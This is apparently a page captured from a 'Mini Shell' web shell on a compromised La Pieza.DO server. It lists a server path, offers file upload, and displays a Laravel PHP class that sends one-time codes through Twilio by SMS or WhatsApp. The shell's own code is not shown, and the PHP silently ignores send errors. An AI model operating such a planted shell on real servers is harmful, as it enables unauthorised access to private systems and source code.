HOME


Mini Shell 1.0
La Pieza.DO | Todo lo que buscas!

Bienvenido de nuevo!

Acceso Cuenta Delivery
DIR: /var/www/devs.lapieza.net/app/Services/OTP/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Services/OTP/Twillo.php
<?php



namespace App\Services\OTP;



use App\Contracts\SendSms;

use Twilio\Rest\Client;



class Twillo implements SendSms

{



    public function send($to, $from, $text, $template_id)

    {

        $sid = env("TWILIO_SID"); // Your Account SID from www.twilio.com/console

        $token = env("TWILIO_AUTH_TOKEN"); // Your Auth Token from www.twilio.com/console

        $type = env("TWILLO_TYPE"); // sms type



        $client = new Client($sid, $token);

        try {

            $client->messages->create(

                ($type == 1) ? $to : "whatsapp:" . $to, // Text this number

                array(

                    'from' =>  ($type == 1) ? env('VALID_TWILLO_NUMBER') : "whatsapp:" . env('VALID_TWILLO_NUMBER'), // From a valid Twilio number

                    'body' => $text

                )

            );

        } catch (\Exception $e) {

        }

    }

}